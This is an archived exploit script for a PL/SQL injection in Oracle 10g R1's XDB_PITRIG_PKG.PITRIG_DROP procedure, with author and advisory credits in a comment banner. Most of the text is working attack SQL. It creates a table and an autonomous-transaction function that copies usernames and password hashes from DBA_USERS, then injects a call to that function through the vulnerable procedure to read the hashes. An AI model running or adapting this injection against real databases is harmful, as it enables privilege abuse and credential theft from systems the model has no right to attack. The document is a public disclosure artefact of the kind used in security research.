Oracle 10g R1 pitrig_drop PLSQL Injection (get users hash)

==========================================================
Oracle 10g R1 pitrig_drop PLSQL Injection (get users hash)
==========================================================



/******************************************************************/
/******* Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_DROP    **********/
/*******                SQL Injection Exploit            **********/
/******************************************************************/
/************     sploit get password Hashes        ***************/
/******************************************************************/
/******************  BY Sh2kerr (Digital Security)  ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0  *******************/
/******************************************************************/
/******************************************************************/
/*         Date of Public EXPLOIT:  January 28, 2008              */
/*         Written by:              Alexandr "Sh2kerr" Polyakov   */
/*         email:                   [email protected]     */
/*         site:                    http://www.dsec.ru            */
/******************************************************************/
/*  Original Advisory by:                                         */
/*      Alexandr Polyakov [ [email protected]]            */
/*      Reported: 18  Dec 2007                                    */
/*      Date of Public Advisory: January 15, 2008                 */
/*                                                                */
/******************************************************************/


CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));

CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS';
COMMIT;
RETURN '';
END;
/


EXEC XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT"."SH2KERR" WHERE 1=SCOTT.SHOWPASS()--','HELLO IDS IT IS EXPLOIT :)');

select * from sh2kerr;




/******************************************************************/
/*************************** SEE U LATER  ;)  ***********************/
/******************************************************************/


` 

#  0day.today [2018-01-09]  #